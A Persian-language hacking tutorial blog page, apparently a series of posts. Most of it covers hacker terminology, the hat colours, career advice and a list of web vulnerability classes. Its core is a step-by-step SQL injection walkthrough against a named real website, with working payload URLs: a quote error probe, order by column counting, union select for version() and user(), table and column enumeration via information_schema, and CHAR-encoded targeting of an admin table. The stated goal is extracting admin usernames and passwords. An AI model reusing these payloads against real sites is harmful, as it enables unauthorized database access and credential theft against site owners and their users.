مقاله ای پیرامون حملات حر فه ای sql
متنی بر blind sql injection
عنوان | پاسخ | بازدید | توسط |
دانلود برنامه WINE | 0 | 162 | ka30r |
نصب مایکروسافت آفیس 2007 روی لینوکس | 0 | 160 | ka30r |
کار با هویج | 1 | 270 | sattar16 |
مهندسی اجتماعی ( به پیشنهاد یک دوست ! ) | 0 | 200 | hacker |
یک سرور چگونه هک می شود ( فقط هشدار !!! ) | 0 | 192 | hacker |
هک کردن ID به روش بسیار ساده | 1 | 279 | hacker |
در یاهو مسنجر با چه کسانی چت کرده ایم ؟ | 1 | 152 | alikasir |
وبکم رایانهتان را به دوربین مدار بسته تبدیل کنید | 0 | 160 | hacker |
دانلود نرم افزار اسکن تارگت با باگ SQL | 0 | 1573 | ka30r |
پایتون چیست؟ و چرا باید پایتون نصب کنیم | 0 | 122 | hacker |
در این درس ما اولین قدم رو برای آموزش هک بر میداریم
در این درس شما باید معنای اصطلاحات رو یاد بگیرید یا حداقل با مٿهمشون آشنا بشید.
ISP
به معنی تامین کننده خدمات اینترنت است. اداره یا شرکتی که خدمات اتصال به اینترنت را برای اشخاص ادارات و سازمان های دیگر ٿراهم می کنند. برخی از ISP ها شرکتهای بزرگ ملی یا چند ملیتی هستند.
hack به زبان ساده و شاید عامیانه ترین تعبیر آن دزدیده شدن کلمه عبور یک سیستم یا account می باشد.به طور کلی نفوذ به هر سیستم امنیتی کامپیوتری را hack می گویند.Hacker شخصی است باهوش , فرصت طلب , دارای معلومات بالا با افکار سازنده و مطمئنا با وجدان .لازم به ذکر است که از نظر من هکرها با دزدان اینترنتی و یا الکترونیکی فرق دارند. هکرهای واقعی در میان خود مرام نامه ای دارند که همه پایبند به آن می باشند.هکر در موقع هک کردن یک سیستم امنیتی هدفش ضربه زدن (چه مادی و چه معنوی) به شخص یا اشخاصی نیست.او هک می کند تا معلوماتش را نشان دهد. هک می کند تا همگان بدانند که سیستمهای امنیتی دارای مشکل هستند. هک می کنند تا نواقص (حفره های امنیتی ) این سیستمها نمایان شوند. اگر هکرها نمی بودند مطمئنا سیستمهای امنیتی به کاملی سیستمهای امروزی نمی بود.
آنچه در فرهنگ مایکروسافت درباره ی هک معنا شده :
1- تغییر دستورات یک برنامه اغلب بدون صرف زمان کافی برای پیدا کردن یک راه حل ظریف .
2 - استفاده از قوه خلاقیت در یک مساله یا پروژه برنامه سازی یا تغییر رفتار یک برنامه کاربردی با یک سیستم عامل از طریق تغییر دستورات و نه اجرای برنامه ها و نه انتخاب گزینه
در تعریف بالا تا حدودی اشاره کردیم که هک عملی است که به قوه تخیل انسان بستگی دارد و همیشه با ارائه کارهای جدید و ابتکاری همراه است .
در هفتههاي اخير در داخل کشور کاربران بسياري مورد هجوم حملات هکري به ID ايميلهاي شخصي قرار گرفتهاند. در اين موارد، از سوي هکر، ايميلهاي بدون موضوع (No Subject) به آدرسهاي ذخيره شده در ليست تماس کاربر ارسال ميشود.
اين ايميلها ميتوانند به عنوان مثال محتوي لينکهاي تبليغات دارويي باشند و از اين طريق، کاربران را تشويق به خريد محصولاتي از اين دست ميکنند.
اين نوع سايتها اغلب جعلي هستند و به محض اينکه کاربر اطلاعات شخصي و بانکي خود را براي خريد کالا وارد کند، هکرها به اين اطلاعات دسترسي پيدا ميکنند.
رمزهاي عبور قوي، رمزهاي طولاني و ترکيبي از حروف بزرگ و کوچک، اعداد و ديگر نشانهها هستند. اين رمزها نبايد بر اساس واژههاي لغتنامهاي و يا اطلاعات شخصي از قبيل تاريخ تولد باشند
هکرها و کلاه هایشان
هک کلمه ای است با معنایی بسیار گسترده. رسانهها دوست دارند آن را یک چیز وحشتناک معرفی کنند که توسط آدم های باسواد و معمولا دارای نیت منفی استفاده می شود و کسانی که چندان از ماجرا سر در نمی آورند فکر می کنند هکر یک موجود خطرناک و بدذات است که اگر بخواهد می تواند به هر اطلاعاتی دسترسی پیدا کند.
مجموعه مقالاتی در زمینه هک از مبتدی تا پیشرفته که توسط آراز صمدی در گروه امنیتی سیمرغ تهیه شده است . این مجموعه در سه قسمت و در سه کتاب الکترونیکی با نام های Basic Of Hack و Exploit + server hacking و Speak With Port گردآوری شده است .
.
.
حجم فایل : ۱٫۳ مگا بایت
نوع فایل ها : ZIP
پسورد فایل : www.elecdl.com
نام کتاب : باگ اسکنر ها
نویسنده : حامد باقری
ناشر : پارس بوک
زبان کتاب : فارسی
تعداد صفحه : ۱۸
قالب کتاب : PDF
حجم فایل : ۴۷۸ Kb
توضیحات : امروزه هکر ها به جای صرف ساعتها وقت برای پیدا کردن حفره های امنیتی و ضعفهای برنامه نویسی صفحات وب از نرم افزارهای باگ اسکنر استفاده میکنند. این نرم افزارها پس از گرفتن آدرس سایت و تحلیل آن، ضعف های موجود را برای هکر لیست میکنند. در این کتاب با این نرم افزارها بیشتر آشنا میشوید.
دانلود در ادامه مطلب
.
.
.
برای اینکه انواع تخصص هکر ها را متوجه شوید ما چارت یک تیم هکری کامل را در اینجا می آوریم.
البته این چارت میتواند بنا به نیاز هر تیم کامل تر و یا کاملا متفاوت باشد.
ما تخصص های امنیت و هکینگ رو به چند دسته تقسیم کردیم و برای هر یک چند نفر را در نظر گرفتیم .
در ادامه این پست معرفی میکنم باتشکر
برای اینکه انواع تخصص هکر ها را متوجه شوید ما چارت یک تیم هکری کامل را در اینجا می آوریم.
البته این چارت میتواند بنا به نیاز هر تیم کامل تر و یا کاملا متفاوت باشد.
ما تخصص های امنیت و هکینگ رو به چند دسته تقسیم کردیم و برای هر یک چند نفر را در نظر گرفتیم .
در ادامه این پست معرفی میکنم باتشکر
با توجه به توضیحاتی که داده شد هکر شدن به معنی متخصص شدن در تمام امور مرتبط به رایانه در حدی که بتوان به هر نوع سیستمی نفوذ کرد تقریبا غیر ممکن است پس بهتر است بدانید دقیقا میخواهید چه کاره شوید
اما یک کلیات یکسان در تمامی تخصص ها وجود دارد که باید به حد کافی آنها را بدانید من در اینجا ابتدا کلیات یکسان را می نویسم و سپس تک تک تخصص های جامع را برسی میکنم.
به صورت کلی هر کسی به شاخه های امنیت و ضد امنیت اطلاعات علاقه مند است بهتر است با موارد زیر آشنایی داشته باشد
1- سیستم عامل های مختلف : فهم عمیق ویندوز و لینوکس ضروری هستند ولی بهتر است با دیگر سیستم عامل ها مانند MAC , BSD , و ... (حتی سیستم عامل های موبایل مانند Android , IOS) آشنا باشید , سیستم عامل های ویندوز XP و ویندوز 7 و توضیع لینوکس Backtrack برای شما بسیار مفید و کاربردی خواهند بود.
2- شبکه : مهم نیست میخواهید در چه زمینه ای فعالیت کنید اما بدانید که برای هر گونه فعالیت که قرار است نفوذی در آن انجام شود معمولا یک ارتباط وجود دارد و این ارتباط شبکه ای است Network+ برای شروع کافی است.
3- برنامه نویسی : فهم و درک برنامه نویسی برای هر فردی که میخواهد در این راستا کار کند ضروری است مهم نیست با چه زبانی برنامه نویسی میکنید اما باید یک زبان برنامه نویسی را بدانید پایتون یک گزینه ی فوق العاده است.
.
.
این مطلب ادامه دارد ....
به هرگونه نفوذی به هر سخت افزار و نرم افزار که باعث ایجاد اختلال سرقت اطلاعات , تغییر عملکرد و ...انجام شود هک گفته میشود و هگینگ به هیچ وجه تنها مختص به رایانه نمیشود !
هکر شدن در دنیای امروز کاملا معنی متفاوتی دارد و اسامی آبرومندانه تری مانند Ethical Hacker , Penetration Tester , Security Researcher , Computer Security Specialist و ... را به خود گرفته است که کمی محترمانه تر باشد
اما در انواع و اقسام اسامی مختلفی که برای هکرها استفاده شود, این اسامی تنها در چهارچوب و قالب جدیدتری به هکینگ میدهند.
درست است که تنها 11 سال از مقاله ای که اریک نوشته است میگذرد اما دنیای حال حاضر هکینگ دنیایی کاملا متفاوت است در تاریخی که ما در آن قرار داریم علوم امنیت و ضد امنیت اطلاعات
بسیار پیشرفته کرده اند و دارای انواع و اقسام زیر شاخه ها هستند به نحوی که دیگر یک فرد نمیتواند مانند گذشته یک متخصص تمام عیار در تمام شاخه های این موضوع باشد. بنابراین از همین ابتدای کار بدانید که
اگر متخصص یک یا در نهایت چند موضوع باشید بهتر از این است که از هر شاخه ای فقط کمی بدانید در این علوم یک دریاچه ی عمیق بودن خیلی بهتر از یک اوقیانوس با عمق 3 سانت است !
در دنیایی هکر ها به انواع هکر انواع رنگ کلاه را ارتباط میدهد .
هکر کلاه سیاه (blackhat) : این نوع هکر تنها به فکر نفوذ است و زیاد به قانون اهمیت نمیدهد و معمولا مهارت بالایی دارد.
هکر کلاه سفید (whitehat) : هکری که از دانش خود برای امن سازی سیستم ها و تشخیص نفوذ استفاده میکند
هکر کلاه خاکستری (grayhat) : هکری که بهتر است بگوییم هر جا پول باشد همانجا است ! گاهی با امن سازی و گاهی با نفوذ
هکر کلاه صورتی (pink) : هکر کلمه ی مناسبی برای این گروه نیست افرادی که با استفاده از انواع ابزار و آسیب پذیری عمومی با تخریب نرم افزار ها و سایت ها خود را هکر جلوه میدهند و سعی بر کسب شهرت دارند.
خوب بریم به ادامه ی آموزش هامون برسیم تا اونجا پیش رفتیم که با دستور table_name اسم تمام table ها رو کشیدیم بیرون به این صورت :
http://www.coshuk.com/html/images.php?id=-27 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables--
حالا باید table مورد نظرمون رو انتخاب کنید.
من لیست table های تارگتمون رو کپی میکنم اینجا تا روش بحث کنیم.
[CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_ APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN _USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEG ES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVI LEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,category,country_master,eventlog,insurance_setup, link_master,phplist_admin,phplist_admin_attribute, phpli
خوب حالا ما از کجا بدونیم اطلاعاتی که ما میخوایم تو کدوم table موجوده؟؟
ما دنبال user و pass میگردیم پس به احتمال زیاد این اطلاعات تو یه table مربوط به ادمین وجود داره ....
اون table هایی که رنگشون رو بنفش کردم table های مربوط به information_schema هستش و در تمام ورژن های بالا ی 5 وجود داره و معمولا توی این table ها چیزه به درد بخوری برای ما وجود نداره
بقیه ی table ها رو ما به ترتیب اولویت ( که از رو اسم و تجربه ی هکر بدست مییاد ) باید بگردیم...
اولین table ای که من نگاه میکنم و به احتمال زیاد اطلاعاتی که میخوام اونجاست phplist_admin تیبل هستش اگه اینجا نباشه میرم دنبال بقیه ی تیبل ها
بریم ببینیم چطوری و با چه دستوری باید اطلاعات تیبل phplist_admin رو بیرون بکشیم!!!
برای اینکه من اطلاعات رو از table مورد نظر خودم بکشم بیرون اولین کاری که انجام میدم اینه که column های موجود در تیبل مورد نظرم رو از information_schema درخواست میکنم
به این صورت :
http://www.coshuk.com/html/images.php?id=-27 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.columns where table_name=phplist_admin--
تو دستور بالا من با دستور column_name از پایگاه information_schema در قسمت columns خواستیم که تمام اطلاعات مربوط به تیبل phplist_admin رو به ما بده
ولی این دستور کار نکرد !!!!!
چرا کار نکرد ؟؟؟؟؟؟؟
خوب دلیلش اینه که بعضی وقت ها برای اینکه هکر ها کارشون سخت تر شه روی اطلاعات مهم یه سری کار های امنیتی انجام میدن
مثلا تو این مورد اطلاعات اسم column های موجود رو ما باید به صورت چار (CHAR) درخواست کنیم
char کلمات رو به کارکتر های موجود روی کیبورد تبدیل میکنه در اصل char همون مخفف charecter هستش......
برای اینکه بتونید از char راحت تر استفاده کنید پیشنهاد میکنم از افزونه ی HACKER BAR موجود در fire fox استفاده کنید این افزونه به شما کمک می کنه به راحتی هر کلمه ای رو به چار تبدیل کنید
خوب حالا من میام phplist_admin رو به چار تبدیل میکنم که میشه :
حالا اینو به جای اسم table خودم میزارم و دوباره دستور رو اجرا میکنم.....
http://www.coshuk.com/html/images.php?id=-27 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.columns where table_name=CHAR(112, 104, 112, 108, 105, 115, 116, 95, 97, 100, 109, 105, 110)--
خوب همونطور که میبینید ما تونستیم column های موجود در table ادمین رو ببینیم و همونطور که میبینید اطلاعات مورد نیاز ما هم همینجاست!!!!!!!!!!!!!!!!
توی آموزش بعدی نحوه ی بدست آوردن این اطلاعات رو بهتون نشون میدم
با استقبالتون خستگی کار یادم میره !!!!
امیدوارم مفید واقع شه
خوب دوستان عزیز
در ادامه ی این آموزش ها میرسیم به دستور table_name که به ما لیست table های موجود در دیتابیس رو می ده
خوب برای این کار ما میتونیم این دستور رو به صورت (group_concat(table_name استفاده کنیم
همونطور که قبلا هم توضیح دادم دستور group_concat اطلاعات درخواستی ما رو از تمام database ها میده پس ما در این دستور تمام تیبل ها رو از تمام دیتابیس های موجود در سایت درخواست کردیم.
خوب دوستان اگه یادتون باشه تارگتی که ما انتخاب کردیم دارای دیتابیس ورژن بالای 5 بود که این خبر خوبی برای ما بود
به این دلیل که تمام اطلاعات مورد نیاز ما در یک database جدا به نام information_schema ذخیره شده
پس تنها کاری که نیازه ما انجام بدیم اینه که با نوشتن یک دستور بر روی table آسیب پذیر این اطلاعات رو از information_schema بخوایم
خوب بریم ببینیم روی تارگتمون میتونیم پیاده کنیم یا نه!!!!
http://www.coshuk.com/html/images.php?id=-27 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables--
خوب تو دستور بالا من اول مثل تمامی مثال های قبل یه منفی پشت عدد ID گذاشتم تا تعداد table های ما از تعداد id ما کمتر نشه (یا از بازه خارج شه )
بعد اومدم تو table آسیب پذیر از دستور group_concat استفاده کردم که اطلاعات مورد نیازم رو از تمامی دیتابیس های موجود در سایت به طور کامل بهم بده
بعد توی group_concat گفتم که من نام تمامی تیبل هارو میخوام که اونم با دستور table_name درخواست میشه ....
و در آخر هم نشانی یا همون آدرس جایی رو که این اطلاعات ذحیره شده رو دادم به این صورت:
همون طور که حتم دارم همتون میدونید from یعنی از !!!!
information_schema هم که همون پایگاه موجود در دیتابیس هایی با ورژن بالای 5 است که کار مارو خیلی راحت کرده بود !!!!!!!!!!
table . هم که یه دایرکتوری تو information_schema هستش که اطلاعات تیبل ها اونجا میره و .....
پس ما اومدیم گفتیم اسم تیبل ها رو از تمامی دیتابیس های سایت که توی information_schema در قسمت table موجود هست به ما بده به همین راحتی
اینم از table ها برین تمرین کنید
آموزش های بعدی رو هم سعی میکنم هر چه زودتر براتون بنویسم
قبل از ادامه ی درس ها تصمیم گرفتم چند تا از دستورات مهم رو براتون تک تک با کارش توضیح بدم که درک بهتری از sql داشته باشید
خوب ما تا اونجا پیش رفتیم که تعداد table ها رو پیدا کردیم و table نفوذ پزیر رو مشخص کردیم
حالا یک سری دستور بهتون یاد میدم که برای جمع آوری اطلاعات به کار میره :
اولین دستور که استفادده میکنیم دستور () version هستش که همونطور که از اسمش مشخصه به ما ورژن دیتابیس رو مشخص می کنه
دونستن ورژن دیتابیس به ما تو بعضی از ریزه کاری های نفوذ کمک میکنه
برای مثال ورژن هایی با دیتابیس بالا ی 5 دارای یک دیتابیس جداگانه به نام informatin_schema هستند که اطلاعات مربوط به پیکر بندی سایت در آن قرار میگیرد و ما میتوانیم اسامی table ها رو با دستور مناسب از information_schemaدرخواست نماییم
ولی اگر ورژن دیتابیس از 5 پایین تر باشد پایگاه informatin_schema وجود نخواهد داشت و ما باید table ها رو حدس بزنیم که کار سختی برای یک هکر تازه کار است...
دستور بعدی دستور user () هستش که به ما اطلاعاتی از user ها ی اصلی سایت رو مشخص میکنه و زمانی به درد ما میخوره که ما نمیتونیم به سایت نفوذ کنیم ولی میتونیم این دستورات رو اجرا کنیم و با این کار ما اطلاعات جمع آوری میکنیم !!!
دستور سوم دستور () group_concat هستش که به ما تمامی اطلاعات فراخوانی شده رو از تمامی دیتابیس های سایت میده
مثلا اگر ما دستور user() رو اجرا کنیم و فقط یک یوزر به ما بده ما میتوانیم با دستور (()Group_concat(user تمامی یوزر های سایت رو در صورت وجود فراخوانی کنیم ....
تا همینجا اکتفا میکنم به این دستور ها ولی بهتون میگم که دستورات کاربردی بهتری وجود داره که من دیگه اینجا توضیح نمیدم تا مقداری از کار به عهده ی خود شما باشه ......
خوب دوستان
مثال اول برای دستور ()version هستش :
http://www.coshuk.com/html/images.php?id=-27 union select 1,version(),3,4,5,6,7,8,9,10,11,12,13--
خوب همونطور که مشاهده میکنید تارگت ما دارای ورژن دیتابیس 5 به بالا هستش که کار ما رو خیلی راحت تر میکنه
دستور دوم
دستور () user هستش که یوزر ها رو برامون لیست میکنه
http://www.coshuk.com/html/images.php?id=-27 union select 1,user(),3,4,5,6,7,8,9,10,11,12,13
برای دستور سوم هم در جلسه ی چهارم آموزش sql مثال میزنم چون توضیحاتش مفصل تره
موفق و پیروز باشید
صمیم گرفتم رو همون مثال درس 1 دستورات درس دوم رو هم پیش برم که بهتر متوجه بشید
اگر یادتون باشه تو درس 1 تا اونجا پیشرفتیم که ERROR رو تو صفحه مشاهده کردیم به این صورت :
www.coshuk.com/html/images.php?id=27'
حالا میخواهیم با دستور order by x تـعداد table هامون رو مشخص کنیم
پس به این صورت عمل میکنیم :
http://www.coshuk.com/html/images.php?id=27 order by 20--
همونطور که مشاهده کردید error داد پس تعداد table ها کمتر از 20 هست
پس باید عدد رو کمتر کنیم
اگر یکی یکی تعداد اعداد رو کم کنیم تا جایی که دیگه error نده
اولین عددی که error نداد میشه شماره ی table ما
تو مثال ما :
http://www.coshuk.com/html/images.php?id=27 order by 14--
در عدد 14 error میده
ولی تو عدد 13 error نمیده و سایت کامل Load میشه
http://www.coshuk.com/html/images.php?id=27 order by 13--
پس تعداد table های ما 13 تا هست
اینم از مثال درس دوم
موفق باشید
خوب عزیزان
قسمت بعدی کار ما شمردن table های سایت و یافتن تیبل های آسیب پذیر برای نفوذ هستش
برای این کار اولین قدم ما استفاده از دستور order by x هستش که به جای x یک عدد به صورت دلخواه میگذاریم
اگر سایت کامل Load شد یعنی تعداد table ها بیشتر از آن است و اگر سایت ناقص load شد یا اصلا load نشد به این معنا است که تعداد آن ها از آن عدد کمتر است ...
برای مثال :
www.site.com/html/images.php?id=27 order by 20--
اگر سایت کامل load نشه به این معناست که تعداد table ها کمتر از 20 است و ما اعداد را یکی یکی کم میکنیم تا تعداد table ها رو مشخص کنیم
فرض کنید که سایت در 15 به صورت کامل load نشه ولی در 14 به صورت کامل Load شه در این حالت نتیجه میگیریم که تعداد table ها 14 تا هستش ....
خوب دوستان این آموزش هم تموم شد
توی پست بعدی سعی میکنم یک مثال هم براتون پیدا کنم
موفق باشید
برای اینکه بعضی از بچه ها با درک مطالب بدون مثال مشکل داشتن قرار شد بعد از هر جلسه ی آموزش یک مثال هم گذاشته بشه براتون
خوب تو جلسه ی قبل یاد گرفتیم که چطوری آسیب پذیری یه سایت رو تست بزنیم
مثال قدم به قدم این آموزش به صورت زیر هستش :
اول یه تارگت رو انتخاب کردیم برای مثال :
http://www.coshuk.com
حالا سایت رو میگردیم تا قسمتی از سایت رو پیدا کنیم که URL اون دارای id=عدد باشه همونطور که گفته شده بود
http://www.coshuk.com/html/images.php?id=27
خوب حالا برای اینکه ببینیم آسیب پذیری وجود داره یا نه باید یکی از پارامتر های درس قبلی رو اظافه کنیم و ببینیم که error میده یا نه
به این صورت :
http://www.coshuk.com/html/images.php?id=27'
خوب همونطور که متوجه شدید ERROR زیر رو مشاهده میکنیم که به معنیه آسیب پذیر بودن سایت هستش :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' order by pk_image_id DESC' at line 1
راستی اینم بگم که برای انتخاب تارگت میتونید از dork های sql استفاده کنید و برای یافتن باگ درون سایت از اسکنر استفاده کنید که آموزش اون هارو هم در پست های بعدی میدم ...
موفق باشید
خب باگ بعدی که قراره آموزش بدم یک باگ کاربردی تر به نام باگ sql هست که به روش sql injection میتونیم به دیتابیس سایت نفوذ کنیم و یوزر پسورد رو بدست بیاریم
خوب آموزش هام رو با باگ SQL شروع میکنم امیدوارم که مورد پسندشما عزیزان باشه
خوب injection یا تزریق دستورات sql به پایگاه داده ها یا همون database() هستش که موجب دسترسی ما به پایگاه اطلاعاتی یک سایت میشه
قدم اول شناسایی اینه که سایت مورد نظر باگ داره یا نه ،
و هر صفحه ای که به ما اجازه ی input data رو بده
اینا جاهاییه که معمولا ما دنبال این نوع آسیب پذیری میگردیم ،
اما همیشه نیاز به submit page نیست و کارمون با صفحات (asp. php. cgi. jsp.) را میوفته، مثلا :
برای برسی آسیب پذیر بودن سایت راه های زیادی بسته به تارگت وجود داره
استفاده از پارامتر هایی مثل : * و % و - و ' و '' و ; و
مثال هایی برای این :
در بعضی مواقع یک پارامتر جواب نمیده و باید چند تا از پارامتر ها رو با هم بکار برد :
اگر بعد از وارد کردن پارامتر ها با error هایی همانند error های زیر روبرو شدید باید به باگ SQL شک کنید و سعی به نفوذ ( یا پچ) کنید!!
امیدوارم قابل درک بوده باشه تا جایی که تونستم راحت و قابل فهم توضیح دادم
اگه کم و کاستی بود به بزرگی خودتون ببخشید
اطلاعات مربوط به باگ LIF
کتاب زیر رو مطالعه کنید
باید بهتون بگم یه هکر باید پیشه ی خودشو انتخاب کنه و یه راه رو تا آخر بره وقتی که کامل یاد گرفت بره پیشه ی بعدی رو یاد بگیره
یکی از تقسیم بندی های رایج به این صورت هست :
1. هک سایت ها و سرور ها
2. هک کلاینت ها و سیستم های شخصی
در این جا قسمت اول رو ابتدا جمع آوری می کنم :
1. هک سایت ها و سرور ها
خوب من تا اونجا که تونستم سعی کردم یه لیست کاملی از تمامی باگ ها و راه های نفوذ به سایت ها و سرور ها جمع آوری کنم ،
که اینجا خدمت شما عزیزان میزارم تا یه طبقه بندی ای قبل از شروع تو ذهن خودتون داشته باشید ،
ليست تمام تکنيک هاي حمله به سايت ها ( ليست تمامي باگ )
* Arbitary File Deletion
* Code Execution
* Cookie Manipulation ( meta http-equiv & crlf injection )
* CRLF Injection ( HTTP response splitting )
* Cross Frame Scripting ( XFS )
* Cross-Site Scripting ( XSS )
* Directory traversal
* Email Injection
* File inclusion
* Full path disclosure
* LDAP Injection
* PHP code injection
* PHP curl_exec() url is controlled by user
* PHP invalid data type error message
* PHP preg_replace used on user input
* PHP unserialize() used on user input
* Remote XSL inclusion
* Script source code disclosure
* Server-Side Includes (SSI) Injection
* SQL injection
* URL redirection
* XPath Injection vulnerability
* EXIF
* Blind SQL injection (timing)
* Blind SQL/XPath injection (many types)
* 8.3 DOS filename source code disclosure
* Search for Backup files
* Cross Site Scripting in URI
* PHP super-globals-overwrite
* Script errors such as the Microsoft IIS Cookie Variable Information Disclosure
حمله های مشهور به حمله های دیکشنری ای :
* Cross Site Scripting in path
* Cross Site Scripting in Referer
* Directory permissions ( mostly for IIS )
* HTTP Verb Tampering ( HTTP Verb POST & HTTP Verb WVS )
* Possible sensitive files
* Possible sensitive files
* Session fixation ( jsessionid & PHPSESSID session fixation )
* Vulnerabilities ( e.g. Apache Tomcat Directory Traversal, ASP.NET error message etc )
* WebDAV ( very vulnerable component of IIS servers )
حمله های مشهور به افشاء جستجو :
* Application error message
* Check for common files
* Directory Listing
* Email address found
* Local path disclosure
* Possible sensitive files
* Microsoft Office possible sensitive information
* Possible internal IP address disclosure
* Possible server path disclosure ( Unix and Windows )
* Possible username or password disclosure
* Sensitive data not encrypted
* Source code disclosure
* Trojan shell ( r57,c99,crystal shell etc )
* ( IF ANY )Wordpress database credentials disclosure
آپلود فایل :
* Unrestricted File Upload
حمله های رایج :
* Microsoft IIS WebDAV Authentication Bypass
* SQL injection in the authentication header
* Weak Password
* GHDB - Google hacking database ( using dorks to find what google crawlers have found like passwords etc )
حمله های وب و سروری :
* Application Error Message ( testing with empty, NULL, negative, big hex etc )
* Code Execution
* SQL Injection
* XPath Injection
* Blind SQL/XPath injection ( test for numeric,string,number inputs etc )
* Stored Cross-Site Scripting ( XSS )
* Cross-Site Request Forgery ( CSRF )
نکته : البته باید بگم یاد گیری و به حافظه سپردن تمامی این مطالب تقریبا غیر ممکن هست و ما تا اونجا که میشه سعی در آشنایی شما با باگ ها رو داریم ولی قرار نیست تمام اونها رو مو به مو اینجا یاد بدیم
اون وظیفه ی شماست که مطالبی که اینجا آموزش داده میشه رو یاد بگیرید و به دنبال راه های بیشتر بگردید به هر حال یک هکر واقعی خودش باگ پیدا میکنه و میسازه نه اینکه از دسترنج بقیه استفاده کنه ....
خوب امیدوارم که این اطلاعات براتون مفید باشه ...
در دنیای امروز هک چیست و هکر کیست ؟
به هرگونه نفوذی به هر سخت افزار و نرم افزار که باعث ایجاد اختلال سرقت اطلاعات , تغییر عملکرد و ...انجام شود هک گفته میشود و هگینگ به هیچ وجه تنها مختص به رایانه نمیشود !
هکر شدن در دنیای امروز کاملا معنی متفاوتی دارد و اسامی آبرومندانه تری مانند Ethical Hacker , Penetration Tester , Security Researcher , Computer Security Specialist و ... را به خود گرفته است که کمی محترمانه تر باشد
اما در انواع و اقسام اسامی مختلفی که برای هکرها استفاده شود, این اسامی تنها در چهارچوب و قالب جدیدتری به هکینگ میدهند.
درست است که تنها 11 سال از مقاله ای که اریک نوشته است میگذرد اما دنیای حال حاضر هکینگ دنیایی کاملا متفاوت است در تاریخی که ما در آن قرار داریم علوم امنیت و ضد امنیت اطلاعات
بسیار پیشرفته کرده اند و دارای انواع و اقسام زیر شاخه ها هستند به نحوی که دیگر یک فرد نمیتواند مانند گذشته یک متخصص تمام عیار در تمام شاخه های این موضوع باشد. بنابراین از همین ابتدای کار بدانید که
اگر متخصص یک یا در نهایت چند موضوع باشید بهتر از این است که از هر شاخه ای فقط کمی بدانید در این علوم یک دریاچه ی عمیق بودن خیلی بهتر از یک اوقیانوس با عمق 3 سانت است !
در دنیایی هکر ها به انواع هکر انواع رنگ کلاه را ارتباط میدهد .
هکر کلاه سیاه (blackhat) : این نوع هکر تنها به فکر نفوذ است و زیاد به قانون اهمیت نمیدهد و معمولا مهارت بالایی دارد.
هکر کلاه سفید (whitehat) : هکری که از دانش خود برای امن سازی سیستم ها و تشخیص نفوذ استفاده میکند
هکر کلاه خاکستری (grayhat) : هکری که بهتر است بگوییم هر جا پول باشد همانجا است ! گاهی با امن سازی و گاهی با نفوذ
هکر کلاه صورتی (pink) : هکر کلمه ی مناسبی برای این گروه نیست افرادی که با استفاده از انواع ابزار و آسیب پذیری عمومی با تخریب نرم افزار ها و سایت ها خود را هکر جلوه میدهند و سعی بر کسب شهرت دارند.
چگونه میتوان هکر شد ؟
با توجه به توضیحاتی که داده شد هکر شدن به معنی متخصص شدن در تمام امور مرتبط به رایانه در حدی که بتوان به هر نوع سیستمی نفوذ کرد تقریبا غیر ممکن است پس بهتر است بدانید دقیقا میخواهید چه کاره شوید
اما یک کلیات یکسان در تمامی تخصص ها وجود دارد که باید به حد کافی آنها را بدانید من در اینجا ابتدا کلیات یکسان را می نویسم و سپس تک تک تخصص های جامع را برسی میکنم.
به صورت کلی هر کسی به شاخه های امنیت و ضد امنیت اطلاعات علاقه مند است بهتر است با موارد زیر آشنایی داشته باشد
1- سیستم عامل های مختلف : فهم عمیق ویندوز و لینوکس ضروری هستند ولی بهتر است با دیگر سیستم عامل ها مانند MAC , BSD , و ... (حتی سیستم عامل های موبایل مانند Android , IOS) آشنا باشید , سیستم عامل های ویندوز XP و ویندوز 7 و توضیع لینوکس Backtrack برای شما بسیار مفید و کاربردی خواهند بود.
2- شبکه : مهم نیست میخواهید در چه زمینه ای فعالیت کنید اما بدانید که برای هر گونه فعالیت که قرار است نفوذی در آن انجام شود معمولا یک ارتباط وجود دارد و این ارتباط شبکه ای است Network+ برای شروع کافی است.
3- برنامه نویسی : فهم و درک برنامه نویسی برای هر فردی که میخواهد در این راستا کار کند ضروری است مهم نیست با چه زبانی برنامه نویسی میکنید اما باید یک زبان برنامه نویسی را بدانید پایتون یک گزینه ی فوق العاده است.
فایل های پیوست:
>> می توانید برنامه "پاپتون" را از اینجا دانلود کنید با لینک مستقیم.(کلیک)
>> آموزش نصب پاپتون (لینک مستقیم)
>> کتاب آموزش برنامه نویسی به زبان پاپتون
4- زبان انگلیسی : زبان انگلیسی زبان بین المللی میان انسانها و هکرها است و اکثر منابع مفید برای این کار به این زبان نوشته شده اند اگر زبان ندانید با مشکلات فراوانی برخورد خواهید داشت.
5-کار عملی : کار عملی بسیار مهم است بعد از اینکه مطلبی را مطالعه کردید و آموختید حتما آن را امتحان کنید یک جمله ی معروف : میگوید من شنیدم و فراموش کردم , من دیدم و به خاطر سپاردم , من انجام دادم و فهمیدم پس هر چیزی را که میخوانید و احساس میکنید مفید است تست کنید !
6- کار تیمی : این یکی بسیار مهم است اگر یاد نگیرید که تیمی کار کنید و وظایف را تقسیم کنید به سرعت خواهید مرد ! در طول سالهای گذشته و تا امروز و تا آینده ,
7- اشتراک : بهتر است دانش خود را به جا به اشتراک بگذارید تا دیگران نیز دانش خود را با شما به اشتراک بگذارند !
وقتی همه ی این 7 مورد را به اندازه ی کافی بدانید شما آماده هستید هر تخصصی از هکینگ را که دوست داشته باشید فرا بگیرید. البته سعی کنید موارد را واقعا یاد گرفته باشید .
چرا گه همانگونه که استیون هاوکینز میگوید بزرگترین دشمن آگاهی؛ جهل نیست بلکه توهم اینست که می دانیم ! که در جامعه ی متاسفانه ایران بیشتر صدق میکند این مطلب .
دوستان پیشنهاد می کنم برای مقدمه کار از ادامه مطلب برای خواندن مقاله چگونه هکر شویم از اریک ریموند اقدام کنید ، کمک می کنه تا بیشتر به حاشیه کار نروید.
اریک ریموند (Eric Steven Raymond) میگوید: چگونه یک هکر شویم؟
هکر (hacker) چیست؟
